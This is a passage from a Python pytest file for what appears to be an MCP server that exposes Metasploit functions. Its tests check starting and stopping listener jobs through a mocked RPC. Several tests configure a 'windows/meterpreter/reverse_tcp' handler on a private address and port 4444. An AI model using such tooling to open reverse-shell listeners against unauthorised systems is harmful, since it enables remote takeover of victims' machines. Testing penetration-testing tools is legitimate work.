with patch('MetasploitMCP.get_msf_client', return_value=client):
with patch('MetasploitMCP._execute_module_rpc') as mock_rpc:
mock_rpc.return_value = {
"status": "success",
"job_id": 1234,
"message": "Listener started"
}
yield client, mock_rpc
@pytest.mark.asyncio
async def test_start_listener_dict_options(self, mock_job_environment):
"""Test starting listener with dictionary additional options."""
client, mock_rpc = mock_job_environment
result = await start_listener(
payload_type="windows/meterpreter/reverse_tcp",
lhost="192.168.1.100",
lport=4444,
additional_options={"ExitOnSession": True}
)
assert result["status"] == "success"
assert "job" in result["message"]
@pytest.mark.asyncio
async def test_start_listener_string_options(self, mock_job_environment):
"""Test starting listener with string additional options."""
client, mock_rpc = mock_job_environment
result = await start_listener(
payload_type="windows/meterpreter/reverse_tcp",
lhost="192.168.1.100",
lport=4444,
additional_options="ExitOnSession=true,Verbose=false"
)
assert result["status"] == "success"
# Verify RPC was called with parsed options
call_args = mock_rpc.call_args
payload_spec = call_args[1]['payload_spec']
assert payload_spec['options']['ExitOnSession'] is True
assert payload_spec['options']['Verbose'] is False
@pytest.mark.asyncio
async def test_start_listener_invalid_port(self, mock_job_environment):
"""Test starting listener with invalid port."""
client, mock_rpc = mock_job_environment
result = await start_listener(
payload_type="windows/meterpreter/reverse_tcp",
lhost="192.168.1.100",
lport=99999 # Invalid port
)
assert result["status"] == "error"
assert "Invalid LPORT" in result["message"]
@pytest.mark.asyncio
async def test_stop_job(self, mock_job_environment):
"""Test stopping a job."""
client, mock_rpc = mock_job_environment
# Mock job exists before stop, gone after stop
client.jobs.list.side_effect = [
{"1234": {"name": "Handler Job"}}, # Before stop
{} # After stop
]
client.jobs.stop.return_value = "stopped"
result = await stop_job(1234)
assert result["status"] == "success"
client.jobs.stop.assert_called_once_with("1234")
if __name__ == "__main__":
pytest.main([__file__, "-v"])